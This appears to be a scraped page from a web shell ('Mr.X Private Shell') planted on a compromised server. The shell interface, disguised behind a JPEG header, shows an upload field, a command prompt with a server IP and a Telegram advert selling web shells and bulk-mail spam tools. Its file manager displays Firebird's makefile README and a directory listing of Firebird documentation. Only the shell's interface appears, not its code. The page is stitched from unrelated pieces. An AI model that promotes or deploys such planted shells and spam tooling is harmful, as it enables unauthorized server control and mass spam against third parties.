����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
PURPOSE :  To explain the makefile system in firebird2.

STATUS:  Still a work in progress (both the makefiles, and this document)

AUTHORS: Mark O'Donohue mark.odonohue@luduwg.edu.au

COPYRIGHT: All rights retained by authors.
           For distribution with Firebird source
           (Someone who knows this legal stuff will update it later)

OVERVIEW

The new makefiles were created to fit in with autoconf, to place the object
files in seperate directories to the source files and to simplify the build
process.

It really does rely on using gnu make so that is the best version to use.


THE REALLY QUICK INTRO

For linux this is how I do a compile (classic is only one currently)

autoconf
./configure 
$cd src
$make > make.log 2>&1 ; cat make.log | grep -v warning > make2.log ; vi make2.log

For an install checkout 

$make install

it will list your options - but also needs some work.


MAKEFILE

Makefiles are found in builds/posix

make.rules
make.defaults
make.shared.variables

prefix.xxx (where xxx = platform)

In src/make.new there are a number of Makefile.in.xxx files and some make.xxx 


STRUCTURE OF MAKEFILE.IN.XXX


Each Makefile.in.xxx has the following somewhere near the top:

include make.defaults
include make.platform
include make.rules
include make.shared.variables

...
...


These are:

make.defaults

This contains default values for macros that it is likely that the user may
want to override.


make.platform

This file is created from the prefix.xxx where xxx=linux/darwin/freebsd etc.  
It provides a spot for the user to override or repalce macros that have been
defined in make.defaults.  In addition extra dependancies can be added to
build extra targets.


make.rules 

This contains the default rules for compiling the system components.  Such as
directory macros CXX etc.  


make.shared.variables

This file contains the defintion of macros that are shared across all of the 
modules.  The only set that are needed are those files that are contained in
the libgds.a/so library since files from many modules contribute to the library.



CREATING OBJECT FILES

 
In the makefiles the object files are of two sorts .o static and .lo 
which are suitable for shared libraries.  On most systems the source 
files need to be compiled twice to create both .o and .lo files.  F
Fortunately the program libtool can help work with this.

The general format of .o file dependancies is:

SERVER_Sources = server.cpp
SERVER_Objects = $(SERVER_Sources:%.cpp=$(OBJ)/%.o)


So the .o files live in $(OBJ) where:
OBJ = $(ROOT)/gen/$ModuleName 


Each Makefile also specifies an AllObjects and Dependancies macro which 
identified all the objects that this Makefile is to create and the name
of the dependency files generated for those objects.

AllObjects = $(Alice_Objects) 


FILE DEPENDANCIES

Include file dependancy information is automatically generated by the gcc
compiler.

The gcc compiler has a flag -MMD which will generate in addition to the
.o file a .d file which contains the dependancy chain of #includes required
for the program.  These are then edited and stored in the $(OBJ) directory and
are included in the bottom line of the makefile with

Dependencies = $(All_Objects:.o=.d) 

include $(Dependancies)

PLATFORM SUBDIRS OF JRD

Please, forget about jrd/os/* in makefiles! Pretend that all files from
there are placed in jrd/ itself. A little trick in make.rules will find
files for your platform automatically.

Filemanager

Name Type Size Permission Actions
sample Folder 0755
sql.extensions Folder 0755
CHANGELOG.md File 124.67 KB 0644
Firebird-3-QuickStart.pdf File 373.23 KB 0644
Firebird-4.0.6-ReleaseNotes.pdf File 1.08 MB 0644
IDPLicense.txt File 25.41 KB 0444
IPLicense.txt File 23.73 KB 0444
README.DiskSpaceAllocation File 3.23 KB 0644
README.Fedora File 732 B 0644
README.IPv6 File 2.11 KB 0644
README.NTSecurity File 1.67 KB 0644
README.Optimizer.txt File 4.22 KB 0644
README.SecureRemotePassword.html File 10.51 KB 0644
README.Win32LibraryInstallation.txt File 5.09 KB 0644
README.Win9X_NT_embedding File 1.08 KB 0644
README.build.macosx.md File 588 B 0644
README.build.mingw.html File 4.12 KB 0644
README.build.msvc.html File 5.9 KB 0644
README.build.posix.html File 26.14 KB 0644
README.coding.style File 1.37 KB 0644
README.connection_string_charset.txt File 2.07 KB 0644
README.connection_strings File 4.14 KB 0644
README.external_routines.txt File 4.11 KB 0644
README.fb_cancel_operation File 2.3 KB 0644
README.fb_shutdown File 4.44 KB 0644
README.fbsvcmgr File 5.22 KB 0644
README.garbage_collector File 2.19 KB 0644
README.gbak File 829 B 0644
README.incompatibilities.3to4.txt File 3.22 KB 0644
README.incompatibilities.txt File 1.79 KB 0644
README.instsvc File 7.24 KB 0644
README.intl File 21.38 KB 0644
README.isql_enhancements.txt File 10.54 KB 0644
README.makefiles File 3.38 KB 0644
README.md File 1.83 KB 0644
README.modern_cpp.md File 2.26 KB 0644
README.monitoring_tables File 19.57 KB 0644
README.online_validation File 3.9 KB 0644
README.performance_monitoring File 2.9 KB 0644
README.plugins.html File 15.2 KB 0644
README.providers.html File 10.51 KB 0644
README.raw_devices File 2.32 KB 0644
README.read_consistency.md File 14.09 KB 0644
README.read_password_from_file File 1.19 KB 0644
README.replication.md File 11.38 KB 0644
README.security_database.txt File 3.11 KB 0644
README.services_extension File 11.44 KB 0644
README.session_idle_timeouts File 4.82 KB 0644
README.sha1 File 6.78 KB 0644
README.statement_timeouts File 6.77 KB 0644
README.superclassic File 2.65 KB 0644
README.trace_services File 7.38 KB 0644
README.transaction_at_snapshot.md File 906 B 0644
README.trusted_authentication File 3.14 KB 0644
README.user.embedded File 3.4 KB 0644
README.user.troubleshooting File 5.57 KB 0644
README.wire.compression.html File 1.9 KB 0644
README.xnet File 1.35 KB 0644
udf_replace.sql File 10.73 KB 0600
udf_replace.txt File 2.81 KB 0600